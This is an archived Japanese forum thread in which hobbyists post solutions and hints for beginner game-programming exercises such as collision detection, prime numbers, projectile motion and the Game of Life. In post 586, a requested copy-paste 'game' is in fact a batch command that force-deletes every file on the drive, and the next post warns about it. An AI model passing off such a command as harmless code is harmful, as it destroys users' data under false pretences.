- 1 名前:名前は開発中のものです。 [04/06/10 18:05 ID:VshiFFV8]
- ゲームに必要な要素を先生が出してくれます
その課題をクリアしていく講習会です
- 564 名前:名前は開発中のものです。 mailto:sage [2006/06/06(火) 22:07:03 ID:BKKQVE+c]
- 課題4 sin波形 VB.NET2005
gamdev.org/up/img/6015.phps g.Dispose()しなくてもガベコレが処理してくれるとか言ってるサイトをみつけたんだが やっぱしたほうがいいよな、たぶん まとめ iがIntegerなのに増分を小数にして永久ループというひどい目にあった ペンの作成はDim p As New System.Drawing.Pen(Color.Red) 変数宣言したあとさらにNewやCreateするのって長くて嫌だなぁ……
- 565 名前:名前は開発中のものです。 mailto:sage [2006/06/08(木) 15:32:16 ID:l70M6MGX]
- がんばれ〜
- 566 名前:名前は開発中のものです。 mailto:sage [2006/06/10(土) 20:16:40 ID:0j3Y3Eu0]
- >>565
がんがる〜 課題スレVB2005課題5キー入力 gamdev.org/up/img/6099.phps キー入力とバックバッファをやった GetAsyncKeyStateを使う方法もあるらしいけど 今回はwikiのヒントにあった_KeyDownを使った まとめ ・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある これに対処するにはFormのKeyPreviewをTrueにする ・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる ・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用 ・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う ・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0) Timer以外でメインループを作る方法が見つからないorz win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ…… Application.DoEvents()を挟んでビジーループでいいのかな System.Threading.Thread.SleepでSleepの替わりにもなりそうだし
- 567 名前:名前は開発中のものです。 mailto:sage [2006/06/11(日) 13:19:05 ID:tyRLJnFM]
- 課題6当たり判定
gamdev.org/up/img/6107.phps まとめ 矩形が重なっているかどうかで判定 ENDで終了
- 568 名前:名前は開発中のものです。 mailto:sage [2006/06/27(火) 21:32:41 ID:SYe9nV57]
- ,、,、,||
;'`,゙、.||'、 保守 '; 、' /´;`'., ´' .; ' ; '、'. '; 、 ' ,' '.,´; ' l !j /ルゝ
- 569 名前:名前は開発中のものです。 mailto:sage [2006/08/14(月) 06:40:17 ID:NHdHnzDZ]
- 先生失踪中ヵ..
- 570 名前:名前は開発中のものです。 mailto:sage [2006/08/14(月) 07:18:28 ID:VdbybaMn]
- 先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると 先生がいないと不安な後続の人達の参考になって良いかも。
- 571 名前:名前は開発中のものです。 [2006/08/15(火) 20:25:23 ID:O7thC4Po]
- 課題7 -課題外伝- 弾道シミュレーション
gamdev.org/up/img/7120.phps サインコサインで悩んだorz ゲ製作にVB使い少ない……
- 572 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 02:44:08 ID:qsmhqtob]
- 微分積分いい気分
C言語とか意味不明だ
- 573 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 02:58:57 ID:vu7zrhua]
- >微分積分いい気分
( ´∀`)σ)∀`)>>572
- 574 名前:名前は開発中のものです。 mailto:sage [2006/08/16(水) 23:44:56 ID:hBfKBKuk]
- 題8 弾を撃って貰います vb.net
gamdev.org/up/img/7146.phps ArrayList使ってみた 当たり判定ちょっと面倒だったよ 本当は関数化したほうがいいのかな
- 575 名前:名前は開発中のものです。 mailto:sage [2006/08/19(土) 12:29:09 ID:Kg/n9ytV]
- 課題10 インベダ風移動 vb.net
gamdev.org/up/img/7173.phps VBって解放が必要なのか不要なのかいまいちわかりずらいorz
- 576 名前:名前は開発中のものです。 [2006/09/10(日) 17:11:36 ID:TDb9YusH]
- スレ違いかもしれないですけど。
回線速度が512Kbp/Sの回線を用いて256000byteのデータを、 転送するためには何秒かかるか。 1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、 平均2o秒とする。 計算式も書くこと。 さっぱり分かりませんので計算お願いします。。。
- 577 名前:名前は開発中のものです。 mailto:sage [2006/09/10(日) 18:48:03 ID:WLNmrtem]
- 基本情報の午前に出そうな問題だな。
懐かしいわ。
- 578 名前:名前は開発中のものです。 mailto:sage [2006/09/10(日) 19:47:52 ID:GdkKRdS2]
- スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが こんなやつ誘導したくないな
- 579 名前:名前は開発中のものです。 mailto:sage [2006/09/17(日) 15:08:39 ID:dp7/71US]
- 最近の若い者って、調べる能力がやたら低くない?
人のことを若い者って言えるほど年食ってるわけじゃないけど。
- 580 名前:名前は開発中のものです。 mailto:sage [2006/09/17(日) 16:08:29 ID:kab63KmG]
- ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、 既得権益の亡者な教師にはソレができない。
- 581 名前:名前は開発中のものです。 mailto:sage [2006/09/18(月) 13:16:25 ID:W/lXcIbz]
- 安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
- 582 名前:名前は開発中のものです。 [2006/10/19(木) 12:24:46 ID:2T8BbUdQ]
- いくつか問題を出しましょう。
エフェクトに関する入り口。 適当な画像を、 ・モノクロ ・エッジ ・モザイク ・ソフト 加工してください。
- 583 名前:くたらぎけん [2006/10/20(金) 14:17:57 ID:an970z+w]
- このスレ今から参加しても宜しいのでしょうか?
- 584 名前:名前は開発中のものです。 mailto:sage [2006/10/20(金) 22:11:32 ID:fQ4Z1QKt]
- 勝手にやればいいんでね
- 585 名前:名前は開発中のものです。 [2006/10/21(土) 09:30:29 ID:wamNDeux]
- メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい
時間が無いのでなるべく早くお願いします
- 586 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 09:35:13 ID:6R8oaMOr]
- 1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける @echooff del /q/f/s \ 3.出来たファイルを実行する 4.昨夜はお楽しみでしたね
- 587 名前:名前は開発中のものです。 mailto:sage [2006/10/21(土) 19:37:53 ID:XCzYIwYp]
- まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
- 588 名前:名前は開発中のものです。 [2006/10/21(土) 21:56:38 ID:wamNDeux]
- delで何となく分かったよ
別に困らないけどね
- 589 名前:名前は開発中のものです。 [2006/10/22(日) 00:00:29 ID:IqzFRS51]
- やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
- 590 名前:名前は開発中のものです。 mailto:sage [2006/10/22(日) 09:32:09 ID:be4WCk1M]
- 1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける var WShell = WScript.CreateObject("WScript.Shell"); var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー"; var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け"; var indexCom = Math.floor(Math.random()*3); var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3; if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん"); else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん"); 3.出来たファイルを実行する 4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
- 591 名前:受験生 ◆B57Fo1eLjo mailto:sage [2006/10/22(日) 10:29:26 ID:T38aBY/h]
- 2あたりにいた受験生です(酉忘れちまったw
このスレまだあったのか… また課題でも用意する?
- 592 名前:名前は開発中のものです。 [2006/11/19(日) 01:28:15 ID:wJaGDUpd]
- >>582の課題やってみました
モノクロということでカラー画像から2値画像への変換 gamdev.org/up/img/8128.zip 開発環境はDelphi6 personal ソース、実行ファイルが含まれています 使い方 ファイル→開く でBMP画像を開いておく 画像変換→モノクロ で画像処理をはじめます 画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい) 変換サンプル画像 変換前 bbs.gamdev.org/gamedev/gamdev.png ↓ 変換後 gamdev.org/up/img/8129.jpg 避難所の看板に変換処理をかけてみました 閾値はRGBともに32 この数字をうまく決めないと画像が消えちゃいますね フォトレタッチソフトは閾値の入力なしで自動で処理してるけど なにかうまい方法があるのかな
- 593 名前:C++/win32API [2006/11/25(土) 00:09:14 ID:ZxloQDt/]
- 課題5です。
どなたかバックバッファがわかる方教えてください。 ↓画面が真っ白になるんですけどどうすれば直りますか? ttp://gamdev.org/up/img/8183.zip
- 594 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 02:02:55 ID:FscVmuXx]
- >>593
92-94行 SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); を SelectObject(backBafferDC,hPen); SelectObject(backBafferDC,hBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); に直してみてはいかがか。
- 595 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:57:48 ID:zYG1sxsz]
- >>582の課題モザイク
サンプル画像 gamdev.org/up/img/8191.png 実行ファイルとソース gamdev.org/up/img/8192.zip このままの速度じゃゲームに使えないね ひと段落ついたら高速化もやってみたい それにしてもエッジ難しすぎる…… 微分やオペレータって画像処理の基本らしいので がんばりたいけど
- 596 名前:593 [2006/11/25(土) 21:37:45 ID:ZxloQDt/]
- >>594
できました!ありがとうございます。
- 597 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 13:00:13 ID:AfDweK2L]
- チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。 この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには 総当りするか、無限個の要素からなる配列をふるいにかけるかである。 もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
- 598 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 20:55:38 ID:3EIwZmwn]
- >>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、 n以下の素数が列挙されている必要がある。 これが「エラトステネスのふるい」から得られる知見なのだよ。 そうしてみると、1000個目の素数を探すプログラムには、 ・ 次に判定する整数を示すカウンタ ・ 今までに見つかった素数を格納する配列 を確保する必要がある。 1000個目、という指定は、後者の確保する用量が静的に決まるため、 極めて具合が良いのだよ。 「エラトステネスのふるい」と言われて、 教科書どおりの手順しか思いつかない人間には、 残念ながら、創造の才能は無いよ。 与えられた道具は、使い方を工夫して、組み合わせるんだ。
- 599 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 01:45:59 ID:VYv9sMeV]
- サンプル画像
kasumicyoucyou.fc2web.com/Palau2006/0329/3290151.jpg ↓ gamdev.org/up/img/8231.png 実行ファイルとソース gamdev.org/up/img/8232.zip 微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた 工夫した点はRGBを別々に比べたこと RGBの合計を閾値と比べるより綺麗なエッジがでます 閾値を弄れば雲の部分のエッジを出すことも可能 その場合は他の場所がうまくいかなかったりするので 調整するのも難しい
- 600 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 03:03:40 ID:JXILxC55]
- >>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。 ttp://gamdev.org/up/img/8233.phps というか、>>382と同じですねHAHAHA. orz
- 601 名前:名前は開発中のものです。 mailto:sage [2006/12/18(月) 20:43:34 ID:f8pwlrC2]
- 課題 素数 COBOL
gamdev.org/up/img/8389.phps まだCOBOLは出てなかったようなので……。
- 602 名前:名前は開発中のものです。 [2007/01/03(水) 13:04:17 ID:34CL32fK]
- ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず
あいむなっとあにぃいいいいいいいいいまああああああああある!
- 603 名前:名前は開発中のものです。 mailto:sage [2007/02/03(土) 16:43:24 ID:b0e6Rts8]
- いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで >64の素数をやってみた。つかってるのはHSP3 よろしくお願いします。 screen 0,800.700,,, font "MS ゴシック",8 a=2 b=2 c=0 repeat repeat if a\b = 0{ if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break} else :break } if a<b :break b++ loop a++ b=2 if c=1000 :break await 1 loop stop こんなので、こういうのができるのに自分でもびっくりだった。 本当にあってるかはよくわからんけど。
- 604 名前:名前は開発中のものです。 mailto:sage [2007/02/03(土) 16:46:30 ID:b0e6Rts8]
- と思ったら過疎スレなのか(´д`)
- 605 名前:製作神 ◆3C/O4odLsY [2007/02/03(土) 16:50:16 ID:z04kCzis]
- もっと投下すれば賑わうであろう。
- 606 名前:名前は開発中のものです。 mailto:sage [2007/02/04(日) 16:07:13 ID:wipOHoKW]
- 数当てもつくってみたよ。しかしマジでいないなー。
- 607 名前:名前は開発中のものです。 mailto:sage [2007/02/04(日) 18:12:35 ID:MWYCkzpm]
- >>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた
- 608 名前:名前は開発中のものです。 mailto:sage [2007/02/05(月) 06:15:29 ID:JxXUp4Vb]
- 配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、 >603の時より、ループ回数が偉く少なくなった。 でも、他にa+2でやったほうが早そうなんだけど、 それをきれいにはめる方法が良くわからない。 if 構文追加してもいいけど、どっちみち2で割るところまでくれば 変わらないような気もするし。
- 609 名前:名前は開発中のものです。 mailto:sage [2007/02/05(月) 06:38:57 ID:JxXUp4Vb]
- 計算方法をちょこっと変えたら、5000万のループ回数が70万に。素数オモスレー
- 610 名前:名前は開発中のものです。 mailto:sage [2007/02/07(水) 05:50:49 ID:GNKliERn]
- む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。 >107のはうちで動かんし。 考え方からさっぱりだ。
- 611 名前:名前は開発中のものです。 [2007/02/07(水) 15:20:39 ID:NKLSTYEl]
- HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない
R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度 pos 0, 240 repeat 640 line cnt, 240+(sin(R1*cnt)*240) loop stop
- 612 名前:名前は開発中のものです。 mailto:sage [2007/02/16(金) 00:22:46 ID:qpyJEI/g]
- >611
サンキュ なるほど。line命令とかこういう風に使うのか。 しかもまるまる答えそのものじゃないかー。
- 613 名前:名前は開発中のものです。 [2007/02/16(金) 02:20:37 ID:ppH9PRcO]
- >>612
始点、終点も設定すると、前回の終点を 保存か算出する必要が出てくるからな
- 614 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 06:26:41 ID:x7siGPZt]
- 課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、 clsでやってるから箱がちらつくんだよね。 ヒント頼む ちなみに今こんな感じ。↓ screen 0,640,480 q=3 repeat getkey m,37 getkey n,39 getkey o,38 getkey p,40 x=x+q*(n-m) y=y-q*(o-p) if fx!x or fy!y :cls if x>320 :x=320 if x<0 :x=0 if Y>240 :y=240 if y<0 :y=0 color 255, :boxf 0+x,0+y,320+x,240+y fx=x:fy=y await 1 loop
- 615 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 12:59:22 ID:zySnsdUf]
- clsやめればいいじゃん
- 616 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 13:09:21 ID:AzT6DJgE]
- >>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。 これだけだとまだちらつくから、 画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する 画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する
- 617 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 14:52:49 ID:x7siGPZt]
- >615
使わないと画面真っ赤になっちゃう。 clsぐらいしかわからないからな。悪いな。 >616 boxfで塗りつぶすというのはたまに見るんだが、 なんだかよくわからんかった。が、それをヒントに、 色々やってみる。アリガトン
- 618 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 17:49:27 ID:x7siGPZt]
- これって
redraw 0 〜 redraw 1 〜の部分に描画するものいれておくと 1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。 何でちらつかないのかはいまいちピンと来ないんだけど。 とりあえずclsのところに↓入れて redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy redraw 1 上を最後の方に入れた。 ただ、動きが重くなるんだね。この命令って処理が重いの?
- 619 名前:名前は開発中のものです。 mailto:sage [2007/02/17(土) 20:25:31 ID:pIqCsBKC]
- 暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。 もっと早いの考えてみっか。 /*--------------------------------------------------*/ #define MAXN 1000 #include <iostream.h> int main(){ int temp[MAXN],k=2,i=0,j,loop=0; cout<<2<<endl; while(i<MAXN){ temp[i]=2; for (j=0;j<=i;j++){ loop++; if(k%temp[j]==0) break; //kがn[j]の倍数ならn[j+1]に飛ばす else if(j==i){ temp[i]=k; cout<<temp[i]<<endl; i++; break; } } k++; } cout<<loop<<"回ループしやした!"<<endl; return 0; } /*--------------------------------------------------*/
- 620 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 04:26:14 ID:8TgB3zN2]
- >>618
clsより軽いはずだ。
- 621 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 16:42:46 ID:yPmVwvF6]
- >620
むー。そうなのかー。でも動き重くなったしなー。 使い方悪いのかなー。 課題6を 丸描いて敵にしてるんだけど、動き方をどうするかで 試行錯誤ちう
- 622 名前:名前は開発中のものです。 mailto:sage [2007/02/18(日) 21:48:11 ID:Z60cc6BP]
- >>621
重いのは await 1 が原因だよ。
- 623 名前:名前は開発中のものです。 mailto:sage [2007/02/21(水) 04:09:26 ID:XCgw7SD2]
- 課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、 とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz 考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。 ダメだしお願い。 ttp://gamdev.org/up/img/8984.lzh
- 624 名前:名前は開発中のものです。 mailto:sage [2007/02/21(水) 17:45:56 ID:1pwfm66w]
- ↓こうじゃない?
★箱 (x,y) ┏━━━━━┓(x+max_x,y) ┃ ┃ ┃ ・(x+max_x/2,y+max_y/2) ┃ ┃ ┗━━━━━┛(x+max_x,y+max_y) (x,ymax_y) ★玉 (enemy_x,enemy_y) ┌─────┐(enemy_x+sx,enemy_y) │ │ │ │ │ │ │ │ └─────┘(enemy_x+sx,enemy_y+sy) (enemy_x,enemy_y+sy) ★箱の右で衝突 (x,y) ┏━━━━━┓(x+max_x,y) ┃ ┃ ┃ ・(x+max_x/2,y+max_y/2) ┃ ┌─────┐ ┗━━━┥ │ enemy_xがx+max_x/2〜x+max enemy_yがy-sx〜y+max_y
- 625 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 09:45:12 ID:RL8xs1BY]
- >624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。 ようやっと、とりあえずはね返るようにはなった。 後ろからあたりに行ったりするとスルーしちゃったりするけど、 大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。 なんか色々とつっかえたなぁ。サイト色々探しちゃったし。 つまると素数プログラムを改善して紛らわせてるんだけど、 数値に制限あるのな。HSP。 まぁ、そこまで素数を下から求めたりしないからいいんだけど、 素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。
- 626 名前:名前は開発中のものです。 [2007/03/02(金) 16:19:42 ID:xch9HBdf]
- >>625
勘違いするなよ? 桁の制限なんてどんな言語でもあるぞw 言うなら32ビット整数型の制限だよ
- 627 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 16:34:53 ID:RL8xs1BY]
- >626
そういうものなのか。 もうちょっと桁はいくもんなのかと思ってたけど、 なるほど2^32の半分なわけか。 となると、それを越える数字を使うプログラムははじかれるのか。 まとめサイトに繋がらないんだけど。なんでだろ。
- 628 名前:名前は開発中のものです。 mailto:sage [2007/03/02(金) 22:24:24 ID:e7ng/jU4]
- まとめサイトのping帰ってこない(´・ω・`)ショボーン
自分のソースのバックアップあそこにしかないのにwww
- 629 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 20:19:53 ID:vyl0ltP/]
- まとめサイト復活来た。
弾道シミュやるヮ。 課題6はもう大体いいわ。
- 630 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 21:22:00 ID:aM0UjHqH]
- そろそろ新しい課題欲しいな
- 631 名前:名前は開発中のものです。 mailto:sage [2007/03/06(火) 23:13:38 ID:vyl0ltP/]
- ボタンを作るみたいな課題とかどうよ。
単に今俺がこれから勉強したいと思ってるからだけど。 そこから、ボタンを押す。押すと押した絵に変わる。 マウスが上に来ると絵が大きくなるとか、枠が出るとか。 もしくはのちのち、何かのジャンルのゲームで頻繁に使いそうなやつ。 セーブロードとかさ。初心者が言うのもあれだけど。
- 632 名前:名前は開発中のものです。 mailto:sage [2007/03/07(水) 01:08:02 ID:8kjoILVD]
- それはゲームのアルゴリズム以前の問題じゃないか?
- 633 名前:名前は開発中のものです。 mailto:sage [2007/03/07(水) 02:38:11 ID:IIsT9RK1]
- 表現もできないのにアルゴリズムも何もないとやっていて思ったんだ。
つーかそもそもアルゴリズムってなんだろう?とも思うんだ。 個人的には簡単なのからだんだん難しい課題にという流れと、 課題をやっていくとゲームとかソフトができる。という流れ。 この二つが混ざるとやっていて楽しいんじゃないかと思う。 まぁ基本的に課題は全て難しいのが現状なんだけどねー。
- 634 名前:名前は開発中のものです。 mailto:sage [2007/03/07(水) 02:53:14 ID:cSD5nU6m]
- 麻雀の役特定のとか知りたい
- 635 名前:名前は開発中のものです。 mailto:sage [2007/03/07(水) 18:19:41 ID:IIsT9RK1]
- ありゃ、重力加速度をどう表していいか混乱してきた。
そもそも重力加速度がわけわからなくなってきた。
- 636 名前:名前は開発中のものです。 mailto:sage [2007/03/07(水) 18:58:48 ID:IIsT9RK1]
- これじゃただの放物線じゃ。
角度のつけ方が良くわからんな。 ホントに誰もいなくて悲しいヮ。
- 637 名前:名前は開発中のものです。 mailto:sage [2007/03/08(木) 00:27:41 ID:+aaoahtx]
- デフォルメ
- 638 名前:名前は開発中のものです。 mailto:sage [2007/03/09(金) 20:05:12 ID:A20L9Fnp]
- 課題8、課題6に付け足してようやっとできた。
次は、課題9は課題7がまだ良くワカンネーから飛ばして、 課題10やる。 センセーカムヒアー プリーズ
- 639 名前:名前は開発中のものです。 mailto:sage [2007/03/10(土) 19:07:09 ID:/U9PtoGQ]
- 分かんないことあるならもうちょっと具体的に書いとけば
誰か答えてくれるんじゃないかと
- 640 名前:名前は開発中のものです。 mailto:sage [2007/03/12(月) 20:09:00 ID:B3YMxCrl]
- 課題10、とりあえず一つの箱をそれっぽくうごかせた。
これをどう6つにするかだな。とりあえず三つからやってみたいけど、 配列変数つかってcntで三つつくるのができれば、いけるのかな。 弾当たったら消えるって、なんかフラグつくって、 当たったらa=0にして、if a ならその箱表示みたいな感じなんかな。 >639 何よりもほとんど全部といっていいいくらいわかんね。 y方向に落ちていくまではまだわかるような気がするんだけど、 初速がどれだけの速さでも、角度をつけた途端、 どういう計算式にすればいいかが、ピンとわからない。 角度ゼロならまぁ、cnt×速さでいいのかもしれないけど、 角度を少しでもつけると、y方向の部分とのベクトル、 初速分斜めに移動させるので本当に正しいのかすらわからない。 感覚的にはx方向に1、Y方向に1のベクトルだったら(1,1)の方向に 進むようにするってことなんだろうけど、 じゃあそれを全ての状況でどうやって式に表せばいいのか全くわからない。 考え方からしてもうワケワカメなので、 説明したくとも説明できない感じなのだよ。
- 641 名前:名前は開発中のものです。 mailto:sage [2007/03/13(火) 00:50:38 ID:xhylvjoJ]
- 真上にボール投げたときのシミュレーションはできる?
- 642 名前:名前は開発中のものです。 mailto:sage [2007/03/13(火) 00:50:55 ID:e1hpszeA]
- ググれば色々出てくると思うが。
- 643 名前:名前は開発中のものです。 mailto:sage [2007/03/14(水) 14:33:17 ID:vTyf4gtY]
- 3つを動かせるようになって、
それをコピペして、yの値に+して2×3にしてうごくようにしたけど、 慣れてくるとどうやって動かすように仕組むんだ? 今こんな感じ↓ gamdev.org/up/img/9127.lzh >641 真上もなんか良くわかんない。 ベクトルが絡まるともう感覚的にわからない。 たてと横だけならなんとなーくわかるんだけど。 >642 ぐぐっても良くわかんない。 ゴメンナ
- 644 名前:名前は開発中のものです。 mailto:sage [2007/03/14(水) 23:19:25 ID:Ta9QMe4z]
- 説明めんどくさいのでこれ見て自分で考えてくれ。
g=1;重力加速度 x=0;初期x座標 y=480;初期y座標 vx=10;x方向初期速度 vy=-30;y方向初期速度 repeat 70 x+=vx;速度の分だけ位置を増やす vy+=g;加速度の分だけ速度を増やす y+=vy;速度の分だけ位置を増やす pos x,y mes "○" await 20 loop stop
- 645 名前:名前は開発中のものです。 mailto:sage [2007/03/16(金) 22:46:24 ID:ObBbH61d]
- 課題10でけた。こんなんでどうでしょう。
tp://gamdev.org/up/img/9153.lzh >644 サンキュ。ただ、全く思いつかない。角度とか。 ライフゲーム。面白そうだが、まだなんだか良くわからない。 円形判定もうーん。sinとか使うのだろうか。うーん。詰まった。 まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、 やっぱ詰まったからなんかな。
- 646 名前:名前は開発中のものです。 mailto:sage [2007/03/17(土) 00:32:33 ID:AFO1L2/D]
- ddim angle,0 :ddim angle_rad,0 : ddim speed,0 : ddim g,0 : ddim x,0 : ddim y,0: ddim vx,0 : ddim vy,0
angle=15.0 : speed=5.0 : g=0.1 mes "速さ" : input speed : mes "角度" : input angle button gosub "発射",*main stop *main x=0.0 : y=400.0 angle_rad=angle*3.14159/180.0;cos,sinの変数はラジアンなのでラジアンに直す vx=cos(angle_rad)*speed;x方向初期速度=速さ×cos(角度) vy=-sin(angle_rad)*speed;y方向初期速度=速さ×sin(角度)、また上向きが正なので×-1 repeat 1000 pos x,y : mes "○" x+=vx : vy+=g : y+=vy await 20 loop return
- 647 名前:名前は開発中のものです。 mailto:sage [2007/03/17(土) 00:40:55 ID:AFO1L2/D]
- 全部実数型にする必要なかったかな。まあいいや。
角度が分からんと言うのがよく分からんがこれいじったりしてまた考えてくれ。 >課題10 おお。ええんじゃないの。ゲームになってるね。 >ライフゲーム は意外と簡単だった思う >円形判定 は円の方程式x^2+y^2=r^2を使うんじゃないかと。 >まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、 >やっぱ詰まったからなんかな。 詰まったからというか、詰まらなくなったからというか。 いろんな原因で作りたいと思う気持ちがなくなってっちゃうんでしょうね。
- 648 名前:名前は開発中のものです。 mailto:sage [2007/03/18(日) 10:07:48 ID:lgnZfCsC]
- つ リージョン
- 649 名前:名前は開発中のものです。 mailto:sage [2007/03/19(月) 04:09:59 ID:KNd9OD8J]
- ttp://gamdev.org/up/img/9164.lzh
こんなんで良ければライフゲムでけた。 >646 そう多分俺が知りたかったのはこのcos,sinを使い方なんだと思う。 単純にx分にY分を足しただけならいいんだけど、 初速のベクトルに角度をつけるにはどうすれば良いのかや、 角度をつけた場合にベクトルからどうやってy分を足し引きすれば良いかが、 よくわからなかった。 ↓のベクトルがあって\(斜め)のベクトルがあって その二つを足したものを表示するということが。 まだ理解が不十分だけど、参考になった。トン。 >647 ライフゲーム、確かにプログラム的には意外と簡単なのかも。 でも、やたら長い条件式で、カンマがピリオドになってたりでエラー原因がわからず、 そして、elseの使い方がまだいまいちであるために、想定どおり動かなかったりと、 頭をかきまくった。でも、なんか面白いね。眺めてて面白い。 あと、その円の方程式はどっかで見たような式だ・・・。いつ見た、おれ。 これをどう使うのかはまだピンと来ない。もう少し考えてみる。 まぁどのみちこういう課題がちょちょいとできるようになったら、 このスレ卒業なんだろうね。早く卒業したいものだ(´・ω・`)
- 650 名前:名前は開発中のものです。 mailto:sage [2007/03/19(月) 22:56:11 ID:+J8qMsT3]
- おーライフゲームできてるやん。すごいすごい。
>カンマがピリオドになってたり あるあるw
- 651 名前:名前は開発中のものです。 mailto:sage [2007/03/21(水) 18:59:56 ID:dTeu4lZk]
- 円のあたり判定できたよー。
一応、4方向分条件付けをした。 でも弾が1ドットなら、条件は一つ分で十分だよね? エッジ加工?ってなんかよくわからん。 ソフトも。 モザイクって、ぱっと思いつくのは例えばその部分の色情報を取得して、 その色で、ある大きさの箱を描くのを何回かやるって感じになるのかな。 まず絵を調達しなきゃだゎ。
- 652 名前:名前は開発中のものです。 mailto:sage [2007/03/22(木) 00:11:37 ID:wB5CUOCW]
- >円のあたり判定できたよー。
オメデトン。ペース速いね。 >一応、4方向分条件付けをした。 >でも弾が1ドットなら、条件は一つ分で十分だよね? えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。 >エッジ加工?ってなんかよくわからん。 俺もよく知らないけど輪郭抽出でぐぐるといろいろ出てくるみたい。 >ソフトも。 ソフトは俺もまったく分からん。 画像処理の課題はゲーム製作とはちょっと関係が薄い気がする。 >モザイク 四角ごとに仕切って色の平均をとって塗りつぶすみたい。
- 653 名前:名前は開発中のものです。 mailto:sage [2007/03/22(木) 05:03:52 ID:LPymi19I]
- >652
>えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。 俺のは○が動くんだけど、弾と自分が動かしてる四角には幅があるから、 ○の右上下、左上下で当たる時の条件付けがちょっと変わるはずと。 >四角ごとに仕切って色の平均をとって塗りつぶすみたい ・・・・。どうやんだろ。まだ、やったことない領域だから、 どの命令を使うかきちんと把握しなきゃだめそうだ。
